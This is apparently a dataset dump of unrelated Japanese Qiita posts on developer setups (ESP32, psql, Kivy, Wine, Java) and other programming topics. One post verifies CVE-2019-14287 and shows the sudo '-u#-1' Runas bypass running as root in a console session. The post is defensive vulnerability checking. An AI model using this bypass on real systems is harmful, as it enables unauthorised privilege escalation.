OmniAICreator/Qiita-1.07M huggingface dataset:
MacでJavaの開発環境を構築する

昔一度挫折したJavaをもう一回覚えようと思った。
10年前にやったときは、こんな感じでインストールしたなぁ

Eclipseは重いし、UIも好きじゃなかったなぁ^^;
[Eclipseインストール](https://javazuki.com/articles/windows-pleiades-all-in-one-install.html)

<hr>
JavaはEclipseというのが一般的だけど。。。

MacでVSCodeを使ってPHPコーディングをしているので、Javaだけ環境が変わるのもアレなので

世の中にはすでに実践しているひとが多くて便利

[Javaの環境構築](https://solutionware.jp/blog/2018/06/01/java%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%82%92visual-studio-code-%E3%81%A7%E6%95%B4%E3%81%88%E3%82%8B/)


こんな本で勉強するか？
[やさしいJava](https://www.amazon.co.jp/%E3%82%84%E3%81%95%E3%81%97%E3%81%84Java-%E7%AC%AC7%E7%89%88-%E3%80%8C%E3%82%84%E3%81%95%E3%81%97%E3%81%84%E3%80%8D%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-%E9%AB%98%E6%A9%8B-%E9%BA%BB%E5%A5%88/dp/4815600848/ref=sr_1_1?qid=1571098291&s=books&sr=1-1&text=%E9%AB%98%E6%A9%8B+%E9%BA%BB%E5%A5%88)

今は本の時代じゃないよね。
オンラインで勉強する時代だ。これなら荷物もないしね。
[Paizaラーニング](https://paiza.jp/works/search_courses/2204)
MIDIからWavにするMaxパッチ備忘録

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/96808/6b3a5762-6199-1962-e8ae-cfd09d2ff77b.png)

こんな感じのパッチ。

vst~で音を鳴らし、sfrecord~で録音します。
midiファイルをseqで鳴らします。

[MIDIからWav生成するMaxパッチ](https://gist.github.com/tatmos/5352d7c2be2339e9ce782a5b8ad5f94c0 )


# 余談
自作のvstとかで行儀が悪いと
切り替え時にMaxごと落ちてしまう。
これはプラグイン側の問題なのだろうけど、
一度読み込ませてしまうとvst~を削除して作り直すしか回避できないのだが、Maxエディター上で消しても、消すときの処理でmaxごと落ちてしまうので、

Maxパッチをテキストエディターで開いて、vst~の内容と思われるboxの中身を消して開きなおしたりといった手間がかかった。
（何か、プリセットの保存とか最後の状態保存が、切り替え時や削除に発生するけどそこで落ちている様子・・・）
macOSでESP32のHello World！

### M5Camera(ESP32)を使った、Homekit対応の監視カメラのワークショップを開催するため、Macへ開発環境セットアップ方法を紹介します。
基本的に公式の英語ページの内容です。

- 2019/11/10 macOS Catalinaでの動作確認とシリアルポートの確認を追記しました。

![M5Camera.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/452335/66506a09-795b-b197-6fe1-f649a443a79d.jpeg)

# ワークショップ案内
## 2000円から始めるHomeKit対応監視カメラ自作ワークショップ#2
- 2019/11/08 ワークショップを開催終了しています。定期的に勉強会を主催していますので、次回、ご参加ください。
https://connpass.com/event/151090/

# 動作確認環境
- MacBook 2017
- macOS Catalina 10.15.1
- M5 Camera

# ツールチェーンのセットアップ
```shell
mkdir -p ~/esp
cd ~/esp
curl -O https://dl.espressif.com/dl/xtensa-esp32-elf-osx-1.22.0-80-g6c4433a-5.2.0.tar.gz
tar -xzf ./xtensa-esp32-elf-osx-1.22.0-80-g6c4433a-5.2.0.tar.gz
```
https://docs.espressif.com/projects/esp-idf/en/stable/get-started/macos-setup.html
 
# ESP-IDF開発ツールをインストール
```
cd ~/esp
git clone -b v3.3 --recursive https://github.com/espressif/esp-idf.git
```
- ネットワーク環境によりますが数分かかります。

# パスを追加
```
nano ~/.bash_profile
export PATH=$HOME/esp/xtensa-esp32-elf/bin:$PATH
export IDF_PATH=~/esp/esp-idf
```
- お好きなエディタで `.bash_profile`のファイルにパスを追加する。例は`nanoテキストエディタ`の場合です。
- `ctrl+o`のファイル上書き `ctrl+x` で終了します。

# パスを反映
```
source ~/.bash_profile
```

# サブディレクトリの追加必要なファイルをダウンロード
```shell
cd esp-idf
git submodule update --init --recursive
```

# 追加で必要な物をダウンロード
```shell
python -m pip install --user -r $IDF_PATH/requirements.txt
```
- 既に、python関連がインストールされている場合は、インストール済みになります。
- Error: No module named pip となる場合は、`sudo easy_install pip`にて、管理者権限でpipモジュールをインストールします。

# 書き込みシリアルポートの確認
```
ls /dev/cu*
/dev/cu.Bluetooth-Incoming-Port	/dev/cu.usbserial-xxxxxx ← 英数字の番号
```
`/dev/cu.usbserial-xxxxxx`または`/dev/cu.SLAB_USBtoUART`がM5 Cameraです。


# hello worldを試す
```shell
cd ~/esp
cp -r $IDF_PATH/examples/get-started/hello_world .
```
- hello worldのプロジェクトをコピーします。

# Configure
```shell
cd ~/esp/hello_world
make menuconfig
```
- Serial flasher config > Default serial portを
`/dev/ttyUSB0`を書き込みシリアルポートで確認したポートに書き換えます。
必ず、Saveして、Exitしてください。
- `/dev/cu.usbserial-xxxxxx`または`/dev/cu.SLAB_USBtoUART`がM5 Cameraです。


# M5Camera(ESP32)デバイスへ書き込み
```
make flash
```

# 確認
```
make monitor
```
- モニタの終了は`ctrl+]`です。

# macOS Catalinaの注意事項
```
esptool.py v2.8-dev
Flashing binaries to serial port /dev/cu.usbserial-xxxxx (app at offset 0x10000)...
esptool.py v2.8-dev
Serial port /dev/cu.usbserial-xxxxx
Connecting........_____....._____....._____....._____....._____....._____....._____

A fatal error occurred: Failed to connect to ESP32: Timed out waiting for packet header
```
- macOSのCatalinaでは、ESPの書き込みに失敗するので、ご注意ください。まだ、macOSのアップデートはオススメしないです。
- 2019/11/10時点、回避先がまだ、見つかっていないので、LinuxまたはWindowsの環境で書き込む必要があります。

# 参考・引用
https://docs.espressif.com/projects/esp-idf/en/stable/get-started/index.html#setup-toolchain
Windowsでのpsql環境設定(Redshift接続)


powershellでの開発環境をリッチにしようと試みてるなかでのpsql設定メモ。
いままでwsl上で色々と作業してきものの、wsl立ち上げのもっさり感がやっぱり気に入らないので
powershellでの開発環境をリッチにして、SublimeTextでターミナルを呼び出してIDEを構成した、というのが経緯。
社会人になるまではMac厨だったのに、気づけばWindowsもなかなか好きになりつつあります。
環境は以下です。

```
PS> (Get-WmiObject Win32_OperatingSystem).Version
10.0.17763

PS> (Get-Host).Version                                                             
                                                                                                                                      
Major  Minor  Build  Revision
-----  -----  -----  --------
5      1      17763  771

PS> psql -V
psql (PostgreSQL) 9.5.15       
```

#pgpass
psql接続する際の億劫なパスワード入力を省略するために必要な設定ファイルです。
Linuxでは~/.pgpass
WindowsではC:\Users\username\AppData\Roaming\postgresql\pgpass.conf
に置きます。以下のように設定します。

```pgpass_or_pgpass.conf
# 一般的には以下
# psql_endpoint:port:db:user:pass
# redshiftへの接続の場合は以下のようになる。
aaa.redshift.amazonaws.com:5439:db_name:user:pass
```

pgpassの設定ファイルがあると、指定redshiftエンドポイントへのpsql接続の際にパスワード入力を省いてくれます。
Linuxではこれで十分なのですが、Windowsからredshiftへ接続しようとすると以下のエラーが出てしまいます。

```
PS> psql ~~~
psql: FATAL:  invalid value for parameter "client_encoding": "SJIS"    
```

#encoding
encodingを怒られているので、以下のコマンドを実行します。

```
PS> $env:PGCLIENTENCODING = "UTF8"
```

# alias
ここまでの作業で、powerhshellからredshiftに無事接続できるようになりました。
以下のコマンドで接続できます。

```
PS> psql -h aaa.redshift.amazonaws.com -U user -d db_name-p 5439
```

これを毎回打つのは面倒なので、aliasを設定します。
aliasを設定するために、シェルの設定ファイル（.bashrc のようなもの）を以下のコマンド作成します。

```
PS> New-Item -type file -force $profile

                                                                                                                                  
    ディレクトリ: C:\Users\username\Documents\WindowsPowerShell                                                                  
                                                                                                                                      
                                                                                                                                      
Mode                LastWriteTime         Length Name                                                                                 
----                -------------         ------ ----                                                                                 
-a----       yyyy/mm/dd      hh:mm              0 Microsoft.PowerShell_profile.ps1   

```

ドキュメント以下に設定ファイルが作成されました。
こちらを以下のように編集します。

```Microsoft.PowerShell_profile.ps1
$env:PGCLIENTENCODING = "UTF8" 
function psql-aaa(){
    psql -h aaa.redshift.amazonaws.com -U user -d db_name -p 5439
}
```
powershellでは、引数を含むコマンドはalias la='la -la'のように設定はできないので、
上記のようにfunctionとして設定する必要があります。


```
PS> psql-aaa
```
以上のコマンドでredshiftに接続できるようになりました。
書籍「レガシーコードからの脱却」を読んでプロジェクトに適用すると良さそうな事

# はじめに
最近(2019年10月)、よく話題に挙がる書籍「レガシーコードからの脱却」を読んだところ、とても素晴らしい書籍でした(ベストセラーになってました)。多くのプロジェクトが、この書籍を参考に、レガシーコードを作らないようになるといいなと思いました。
本稿は、私が書籍「レガシーコードからの脱却」を読んだ結果、特にプロジェクトに適用すると良さそうだと思った事をまとめた内容です。

# 本稿が対象とする人
本稿は、以下のいずれか1つ以上を実施していないプロジェクトが対象です。

- アジャイル開発
- 嬉しさが分かる最小単位のユーザーストーリーで開発
- 自動ビルドおよび自動テスト
- ペアプログラミングまたはモブプログラミング
- テスト駆動開発
- 開発中の機能のリファクタリング
- レガシーコードのリファクタリング

# プロジェクトに適用すると良さそうな事
書籍の目次は公開されているので、適用すると良さそうな事が、どの章に書いてあるかのみ記載します（書籍の内容はぜひ購入してご確認ください）。

## アジャイル開発
ウォーターフォールで開発しているプロジェクトは、1章～3章の内容を皆で共有すると良いと思います。ウォーターフォールが、失敗確率が高いこととその理由がよく分かります。
また、「着手したけどテスト完了しなかったら無駄になる」という認識は、プロジェクト全員が共有した方が良いと思います。私の経験では、複数機能のテストを最後に残すと、だいたい期限までにテストが終わらないため、いくつかの機能を外します。そうなるくらいなら、最初から1つずつテストを完了させた方が良いと思います。

## 嬉しさが分かる最小単位のユーザーストーリーで開発
私は過去に、作った機能が顧客の欲しかったものと違ったことがあります。また、頑張って多様なバリエーションに対応する機能を開発したものの、実際のユーザーはそこまで使いこなさず、シンプルな機能だけで十分だったということは多々あります。
そういう経験があるプロジェクトは、5～6章を読んで、ユーザーストーリーを用いて開発する方法を適用すると良いと思います。
嬉しさが享受できる最小限のシンプルな機能の開発をすることで、もっと早くもしくはもっと多くの機能をリリースできるようになると思います。

## 自動ビルドおよび自動テスト
私は過去に、開発終盤にプログラムを統合してみたら、予期しない問題が色々出てきて大変な目にあったことがあります。そういう経験のあるプロジェクトは、7章を読んで自動ビルドおよび自動テストを適用すると良いと思います。

## ペアプログラミングまたはモブプログラミング
下記のいずれかに当てはまるプロジェクトは、ペアプログラミングを検討した方が良いと思います。

- クラスや関数や変数の名前が不適切なコードが多い
- コーディング後のレビューやテストで大量の不具合が検出される
- コーディング中に他人に話しかけられて、集中が乱されることが多い

本書の8章では、ペアプログラミングに懐疑的な人が、そのメリットを論理的に理解できるだけの十分な論拠が記載されています。 
私のチームでも、ペアプログラミングとモブプログラミングをやっていますが、生産性は上がりました。とてもお勧めのプラクティスです。

## テスト駆動開発
コーディング後にそのコードのユニットテストをどうやれば良いか困ったり、後からリファクタリングしようにもユニットテストがないからできないという経験があるプロジェクトは、10～11章を読んでテスト駆動開発を適用すると良いと思います。
ただし、「常に100%のカバレッジ確保」については、世の中に様々な意見があります。著名なMartin Fowler氏は [テストカバレッジはおそらく80%台後半か90%台になるだろう](http://bliki-ja.github.io/TestCoverage/) と言っています(私のチームも100%は目指していません)。

## 開発中の機能のリファクタリング
私は、開発した機能をリリースした後に、その機能の設計をふと見て、冗長性や不適切な責務分担に気付いたことがあります。リリース前に気付いておけばと後悔しました。そういう経験のあるプロジェクトは、9章と12章を読んで、「設計は最後に行う」というプラクティスを適用すると良いと思います。
私たちは神様ではないので、コーディングをする前にクラス図を書いて考えた設計には、不適な部分があると思います。いったんコーディングを終えた段階ならば、それを通して得た新しいドメイン知識などを元に、よりよい設計ができると思います。そういうタスクを予め計画しておくと良いと思います。

## レガシーコードのリファクタリング
保守が困難なコード(レガシーコード)が増え続けていくプロジェクトは、13章を読んでレガシーコードをリファクタリングするためのいくつかのパターンを適用すると良いと思います。
保守が困難なコードは、生産性を大きく低下させます。従って、今後も変更し続ける部分はリファクタリングした方が良いと思います。

# まとめ
プラクティスをプロジェクトに適用するには、チーム全員が価値観を共有していると、取り組みやすいと思います。そういう意味で、以下の記事の手法でチーム全員が同じ書籍を読んで価値観を共有するのも良いと思います。
[毎朝15分の勉強会で若手の行動が驚くほど改善した話](https://qiita.com/kojimadev/items/cd5dd5332e33b3ef46a6)

ちなみに私は [Lightning Review というレビュー支援ツール](https://www.lightning-review.com/) を開発しています。
Twitterでも開発に役立つ情報を発信しています → [@kojimadev](https://twitter.com/kojimadev)
kivy　データ受け渡し

今日から自分の備忘録を兼ねて更新。
kivy の　class間のデータの受け渡しがうまくいかなくて調べまくったらエンコードが問題だった件
↓これが実際に出たエラー文
'str' object has no attribute 'text'

サンプルコードを書いて事例を紹介しながら記事を書きます。

環境
- 
- OS: windows10
- python:3.7.2


#kivy データ受け渡し
ボタンを押すと画面が遷移してTextInputに記入した値がLabelに表示されるサンプルコード


```python:main.py
class FirstScreen(Screen):
    input_text_id = ObjectProperty(None)

class SecondScreen(Widget):
    label_text_id = ObjectProperty(None)
```

実際にkivyファイル側で設定

```python:main.kv
<FirstScreen>
    name: "first"
    input_text_id: input_text_id #id
    TextInput:
        id: input_text_id
        text: u"text here" #このuでエンコード。これがないため自分はエラーになった。
    Button:
        text:u"pass"
        on_press: root.manager.get_screen("second").label_text_id.text = root.input_text_id.text 

<SecondScreen>
    name: "second"
    label_text_id = label_text_id
    Label:
        text: u"" 
```


サンプルコードの全文は下に載せてます。

ますはpythonファイルから

```python:main.py
# -*- coding: utf-8 -*-
from kivy.app import App
from kivy.uix.textinput import TextInput
from kivy.uix.screenmanager import ScreenManager, Screen, FadeTransition
from kivy.properties import NumericProperty, ReferenceListProperty,\
    ObjectProperty

from kivy.lang import Builder#kvファイルを読み込むために必要

import os
from kivy import Config

os.environ ['KIVY_GL_BACKEND'] = 'angle_sdl2' #これらがないとうまく起動しませんでした。
Config.set('graphics', 'multisamples', '0')#参考記事がどこだったか忘れてしまった。
Config.set('modules','inspector','')

#Screenを管理するScreenManagerを準備する。
class WinManager(ScreenManager):
    pass
#Screen classで移動する画面を準備する。
class FirstScreen(Screen):
    input_text_id = ObjectProperty(None) #kv側でidとして使用

class SecondScreen(Screen):
    label_text_id = ObjectProperty(None)#kv側でidとして使用

#kvファイルの読み込み
kv = Builder.load_file("main.kv")

class MainApp(App):
    def build(self):
        return kv

if __name__ == '__main__':
    MainApp().run()

```
次にkvファイルですね。

```kivy:main.kv
#: import FadeTransition kivy.uix.screenmanager.FadeTransition

WinManager:
    transition:FadeTransition()
    FirstScreen:
    SecondScreen:

<FirstScreen>
    name: "first"
    input_text_id: input_text_id
    BoxLayout:
        size: root.size
        pos: root.pos
        TextInput:
            id: input_text_id
            text: u"text here"
        Button:
            text:u"pass"
            on_press:
                root.manager.get_screen("second").label_text_id.text = root.input_text_id.text
                app.root.current = "second"

<SecondScreen>
    name: "second"
    label_text_id: label_text_id
    Label:
        id:label_text_id
        text: u""

```

ざっくりとこんな感じです。
間違えているところもあると思うのでもしアドバイスがあればよろしくお願いします！

実際に動いた感じ↓
![スクリーンショット (19).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514096/fb9c0dda-b08b-9b32-144b-4f04bbb6cde0.png)

![スクリーンショット (20).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514096/dd72f3d8-78b7-e559-138e-9b16e02b3c2a.png)
CVE-2019-14287 [sudo] Potential bypass of Runas user restrictions の確認

sudoで潜在的なRunasユーザの制限バイパスについての脆弱性が出たので、確認した。

# summary (TL;DR)

- 影響を受けるユーザアカウントは限定的
    - 既にsudoers登録がある
    - "どのユーザとして実行できるか"でALLキーワードがある
- アップデートは実施したほうが良い
    - リスク次第で、緊急 から 次のメンテタイミング、までの間で実施したい。
    - 大半のシステムでは **緊急には該当しない** と推定される

# 脆弱性概要

ALLキーワードで任意のユーザとして実行可能な場合、rootとして実行が可能

- 例えば `user00 (ALL) ALL` の場合は、もとから `ALL`だけなので、rootで実行可能
- ALLを制限している場合、例えば`user00 (ALL,!root)`の場合は、`!root`部分をバイパス可能

ということは、以下の条件が必要

- アカウントが存在し
- sudoersに記載があり
- 任意のユーザとして実行可能な設定（"(ALL)"等）があり
- rootを除外している（(ALL,!root)等）

# 再現
## 前提

- 新規ユーザ suduvlun ユーザを作り、`touch`コマンドに「root以外の権限で実行」できるsudo権限を付与する。
- 本来は `$sudo touch hogehuga.txt` は実行できないが、本脆弱性を利用することで実行ができてしまう。

## 実行

```console
root@desktop:~# passwd user00
新しい UNIX パスワードを入力してください: 
新しい UNIX パスワードを再入力してください: 
passwd: パスワードは正しく更新されました
root@desktop:~# visudo
# add touch privilege
user00  ALL=(ALL,!root) /usr/bin/touch
root@desktop:~# su - user00
user00@desktop:~$ pwd
/home/user00
user00@desktop:~$ touch hoge.txt
user00@desktop:~$ ls -lh hoge.txt 
-rw-rw-r-- 1 user00 user00 0 10月 15 05:07 hoge.txt
user00@desktop:~$ sudo touch hogehoge.txt
[sudo] user00 のパスワード: 
残念ですが、ユーザー user00 は'/usr/bin/touch hogehoge.txt' を root として desktop 上で実行することは許可されていません。
user00@desktop:~$ sudo -u#-1 touch hogehuga.txt
[sudo] user00 のパスワード: 
user00@desktop:~$ ls -lh
合計 12K
-rw-r--r-- 1 user00 user00 8.8K  4月 16  2018 examples.desktop
-rw-rw-r-- 1 user00 user00    0 10月 15 05:07 hoge.txt
-rw-r--r-- 1 root   user00    0 10月 15 05:08 hogehuga.txt
user00@desktop:~$

```

# 補足

sudoersの設定についてざっくりと以下の様になっている

HOST ACCOUNT = (USER:GROUP) COMMAND

- HOST
    - 許可ホスト
- ACCOUNT
    - sudo を許可するユーザ
    - 今回は`user00`
- USER
    - sudoで成り代われるユーザ
    - 今回はALLだが、rootは除外（!root）。root以外のユーザ権限で実行可能
- GROUP
    - sudoで成り代われるユーザ
    - 今回は設定なし
- COMMAND
    - sudoで実行可能なコマンド
    - 今回は`/usr/bin/touch`

# 一次情報

https://www.sudo.ws/alerts/minus_1_uid.html

- Exploiting the bug requires that the user have sudo privileges that allow them to run commands with an arbitrary user ID.
ソフトウェアアップデート通知をTeamsで -Apple編-

#何がしたいか
Xcode、iOS、MacOSなど、開発業務に関係するソフトウェアアップデートのリリースを自動で通知してくれる仕組みを作りたい。
目的としては、毎朝リリースページをチェックしている特定のメンバーの負荷軽減、クラウドプラットフォームで提供されているサーバレス実装の理解を深めること。

#どうやるか
1.[リリースページ](https://developer.apple.com/news/releases/)を定期的にスクレイピングし、製品名と更新日を取得する。
2.製品ごとにTeamsの通知専用チャンネルにPostする。

#何を使うか
- GCP Cloud Functions - pythonで対象ページのスクレイピング・TeamsへPostするFunctionを作成
- GCP Compute Engine - Cronで上記のFunctionをリクエストする
- Teams Incoming Webhook - 通知専用チャンネルへの投稿

#GCP Cloud Functions
「scrape_apple」という名前で関数を作成。
スクレイピングにrequests・BeautifulSoup4、Teamsへの投稿にpymsteamsライブラリを使用する。これらをrequirements.txtに記述しておく。

```text:requirements.txt
  
# Function dependencies, for example:
# package>=version

requests==2.19.1
bs4==0.0.1
pymsteams==0.1.12
```
##処理の流れ
作成したスクリプト → [Github](https://github.com/yasakan/Release-Page-Auto-Scrape)
1.リリースページのHtmlを取得。製品名と更新日（とURL）を格納したdictを作る。

```python:scrape_apple.py
def scrape():
    pattern = '\(.+\)'

    url = 'https://developer.apple.com/news/releases/'
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    articles = soup.findAll('article')
    
    articles_dict = {}
    for article in articles:
        product_name = article.find("a").find("h2").getText()
        product_date = article.find(class_="article-date").getText()
        articles_dict[re.sub(pattern, '', product_name).strip()] = {'product_name': product_name, 'product_date': product_date, 'url': url}

    return articles_dict
```

2.1で作成したdictから、product_dateが現在の日付でないものを取り除く。

```python:scrape_apple.py
def analyze_json(articles_dict):
    copy_dict = articles_dict.copy()
    for article in articles_dict:
        product_name = article
        product_date = articles_dict[product_name]['product_date']
        product_date_formatted = datetime.datetime.strptime(product_date, '%B %d, %Y')
        
        now = datetime.datetime.now()
        dt = now - product_date_formatted
        if dt >= datetime.timedelta(hours=24):
            del copy_dict[product_name]
        
    return copy_dict
```

3.dictの各Valueをメッセージに含め、Teamsへ送信。

```python:scrape_apple.py
def post_teams(articles_dict):
    url = 'Your Incoming Webhook URL'

    for product in articles_dict:
        myTeamsMessage = pymsteams.connectorcard(url)
        myTeamsMessage.title("【Apple】" + product)

        message = "Product: {0}<br>Updated At: {1}<br>[Web]({2})".format(articles_dict[product]['product_name'], articles_dict[product]['product_date'], articles_dict[product]['url'])
        myTeamsMessage.text(message)
        myTeamsMessage.send()
```

#GCP Compute Engine
上記で作成したFunctionをcurlコマンドでリクエストするcronを組むだけなので割愛。

#追記(2019/10/16)
Google Chromeのアップデートリリースを通知するスクリプトをGithubに追加しました。
LSTM structure

# LSTM overview
![memory_unit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/316249/e3a3596f-d07e-1eb2-6f2f-12de34784d2a.png)

# Formualae
First of all, some notations below do not match those in the figure above.

### Three gates
input $\boldsymbol{i}\_t$, forget $\boldsymbol{f}\_t$, output $\boldsymbol{o}\_t $ 
Basic form of gate signals are; 

```math
\sigma(\boldsymbol{W}_{*}\boldsymbol{h}_{t - 1} + b_{*})
```
representing `activation func(recur weight * past output + weight * current input + bias) `

```math
\boldsymbol{i}_t = \sigma(\boldsymbol{W}_i\boldsymbol{h}_{t - 1} + \boldsymbol{U}_{i}x_t + \boldsymbol{b}_i) \\
\boldsymbol{f}_t = \sigma(\boldsymbol{W}_f\boldsymbol{h}_{t - 1} + \boldsymbol{U}_{f}x_t + \boldsymbol{b}_i) \\
\boldsymbol{o}_t = \sigma(\boldsymbol{W}_o\boldsymbol{h}_{t - 1} + \boldsymbol{U}_{o}x_t + \boldsymbol{b}_o) \\

```
### Activation function explained (briefly)   
As $\sigma \in [0, 1]$, it controls how much of a received information is passed to the next step of learning.

```math
\sigma = 1 \Rightarrow \text{info is fully "preserved"} \\
\sigma = 0 \Rightarrow \text{info is completely "discarded"}
```

On the other hand, $\tanh$ is used because it satisfies $\tanh \in [-1, +1]$. This means that it regulates a received signal scale into $[-1, +1]$.

### Cell state
- candidate cell state $\tilde{\boldsymbol{c}}_{t}$

```math
\tilde{{\boldsymbol{c}}_{t}} = \tanh(\boldsymbol{W}_c\boldsymbol{h}_{t - 1} + \boldsymbol{U}_{c}x_t + \boldsymbol{b}_c) $$
```
- cell state $\boldsymbol{c}_t$

```math
 \boldsymbol{c}_t = \boldsymbol{i}_t \odot \tilde{\boldsymbol{c}}_{t} + \boldsymbol{f}_t \odot \boldsymbol{c}_{t - 1}
```
representing `"how much input is taken in" + "how much past output in forgotten/inherited"`

### Output
The final outcome $\boldsymbol{h}_t$ ($z\_{t, j}$ in the figure) is used both as the next "past output"(recur) and "new input"(to the next node).

$$ \boldsymbol{h}_t = \boldsymbol{o}\_t \odot \tanh(\boldsymbol{c}\_t)$$
PacketiX.NET ASP 型 VPN 実験サービス

http://www.packetix.net/jp/vpn/

このサービスは学術実験で筑波大学内で運用されている公開VPNサーバーを用いて自分の仮想HUBを設置できると言うサービスです。
人に教えていただいたサービスなのですが忘れそうなのでメモとして残しておきたいと思います.

制約として90日未使用だと仮想HUBが自動削除されます
あくまでも簡易的なVPNとして使うのがよさそう。

#最初の作業

###step1 規約に同意する
![Screenshot from 2019-10-15 04-01-10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232732/49e140c8-9c4d-4eae-e509-c57569295fd3.png)



###step2 アカウント作成
![Screenshot from 2019-10-15 04-02-30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232732/7f7b0e78-6f6f-ce77-5fe4-c291ee072bb7.png)


###step3 仮想HUB作成

![Screenshot from 2019-10-15 04-03-56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232732/f810a676-908a-a5ad-ffca-6fd3e4fdd4b6.png)



一通りやったらログインする.

#設定

###ユーザー管理でユーザーを登録する

![Screenshot from 2019-10-15 04-12-16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232732/1a1fcf4e-5135-e73a-aace-d10536514f37.png)



問題点としてWeb管理画面だけだと認証方式がパスワード限定になってしまう

![Screenshot from 2019-10-15 04-16-22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232732/28e33c07-00c6-9d18-ac69-c136bc31c660.png)


あくまでもWebインターフェースは最低限の管理画面であると考えるべきだろう.
wineを使って無料でwindowsアプリをmacで動かす方法

#XQuatzとWineの2つをインストールでwindowsアプリの使用が可能になります。
今回はER図ツールのa5mk2をmac上で利用しました。
2019/10/15現時点

##1.XQuatz
以下からXQuatzをインストール。
https://www.xquartz.org/index.html
Version2.7.11。
<img width="1437" alt="スクリーンショット 2019-10-15 2.46.55.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514060/7e7ab5e6-904c-dcfe-c50b-71578261a0fd.png">

dmgファイルをマウントするとXQuartz.pkgファイルが出てくるので、インストーラーを起動。

##2.Wine
以下から動作安定版の「Installer for “Wine Stable”」をダウンロード。
https://dl.winehq.org/wine-builds/macosx/download.html
Version４.０.２。
<img width="1440" alt="スクリーンショット 2019-10-15 2.49.40.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514060/02078e53-208b-575b-dbe2-93dd45289d2f.png">



インストーラーを起動し、「次へ」をクリック。
64bit版アプリケーションを動かすオプションにチェック。
→インストール完了。

アプリケーションのexeファイルを右クリックから「このアプリケーションで開く」の中にwineが表示されるので、wineで起動する。
以下のようにWineMono,WineGeckoのインストールを促されるのでインストール。
<img width="461" alt="スクリーンショット 2019-10-15 2.51.25.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514060/e1c39933-57ff-0a8e-ecf8-cc81923e5fd5.png">

以上で完了となります。

#文字化け対応
wine単体ではどうしても文字化けが起こりやすいようです。
##1.wgetのインストール。
ターミナルにて

```$ brew install wget```でインストールする。
$ wget -hでヘルプが表示されればインストールが完了している。

##2.winetricksのインストール
FinderのアプリケーションからWine-stable.appを起動すると以下のようになる。<img width="1437" alt="スクリーンショット 2019-10-15 11.14.10.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514060/e62dc680-00d0-bbb7-ea42-0c7554998757.png">

cdでDownloadのディレクトリに移動し、wgetコマンドでwinetricksを取得。
wgetで取得するファイル（URL）は以下から最新のものを使用してください。
https://github.com/Winetricks/winetricks

```
$ wget https://raw.githubusercontent.com/Winetricks/winetricks/master/src/winetricks
```
インストール完了後winetricksのあるディレクトリ（今回はDownload）で以下のコマンドを実施しwinetricksを起動。

```
$ winetricks
```
こちらのサイトで紹介されている
http://bigmoro.cocolog-nifty.com/blog/2018/09/linux-mint-19-w.html
以下のコマンドを実施することで文字化けせずにa5mk2を起動できました。

```
$ winetricks fakejapanese_ipamona
```
#参考にさせていただいサイト・記事
・wineのインストール
https://weblabo.oscasierra.net/wine3-macos/
https://moimoi-days.com/mac-wine-windows-app/
・文字化け対応
https://qiita.com/nkiw/items/f028ad586f7ff9759d09
http://bigmoro.cocolog-nifty.com/blog/2018/09/linux-mint-19-w.html
CentOS 8にvmwareをインストールする前に必要な方々


##とりあえず、下記をインストール

- gcc #これがないとインストールする前に怒られる
- kernel-devel #これがないとインストールする前に怒られる 
- elfutils-libelf-devel #これがないとインストールが中断される


まだゲストOSを動作させていないので、何か問題が起きたら随時投稿しますー。

以上
ruby と rails における getter と setter

# ruby と rails における getter と setter
- rails で getterメソッドとsetterメソッドを定義しないときとするときってなんでだっけと思ったので書きました。
- `getterメソッド` と `setterメソッド` とは
- オブジェクト指向におけるカプセル化されたクラスのオブジェクトが持つデータにアクセスするためのメソッドのこと

## カプセル化
- クラス内のプロパティ値へのアクセスを制限して、プロパティ値がクラス外から自由に参照・変更されないようにする仕組みのこと
- 外部から自由に変更できてしまうと、対象のクラスの内容を変更する際に、対象のデータにアクセスしている全てメソッドに影響が及ぶ可能性がある。
- カプセル化して、外部から自由にプロパティ値を変更出来ないようにすることで、対象のクラスの内容を変更する際に、考えられる影響範囲を狭めることができる。(保守の負担が軽減する）
- プロパティ値へのアクセス手段として、getterメソッドとsettrメソッドを定義し、外部からそのメソッドを呼び出すことで、参照や変更をできるようにする。

## ruby と rails の場合
- ruby だと、下記で定義できる。(ruby はgetter・setter が定義されていないとプロパティ値は外部から参照できない)
  - attr_reader :変数名 ... getter
  - attr_writter :変数名 ... setter
  - attr_accessor ：変数名 ... getterとsetter

- rails 場合は `ActiveRecord::Base` を継承したクラスは、そのclassが紐づくテーブルのカラムがプロパティ値となり、明示的にgetter or setter を定義しなくても自動的に作成してくれる。(この部分を忘れて、なんでだっけ調べることがあった)
C11 Annex. K を Mac で動かす

C11 Annex. K を Mac で動かす方法を調べてみる．

## Motivation 的なもの
https://www.buildinsider.net/language/clang/02
このへんみつつ，gets_s とか動かしてみたい．


## 調査

適当にぐぐると，
https://teratail.com/questions/38504
最新の gcc であれば -std=c11 がとおるらしい．

```bash
$ gcc -std=c11 test.c
test.c:12:5: warning: implicit declaration of function 'printf_s' is invalid in C99 [-Wimplicit-function-declaration]
    printf_s("test\n");
    ^
1 warning generated.
Undefined symbols for architecture x86_64:
  "__gets_s_chk", referenced from:
      _main in test-771537.o
  "_printf_s", referenced from:
      _main in test-771537.o
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
```

gcc は warning でるが，とおるようだ．が，肝心の libc ではねられる．
・・と思いきや，gcc 処理系ではそもそも gets_s は実装してないらしい．
gcc でははねないが，link しようとするとないからはねるとか地獄かよ．


・・・
うーん，ぐぐってもまともな実装がなさそうだが・・

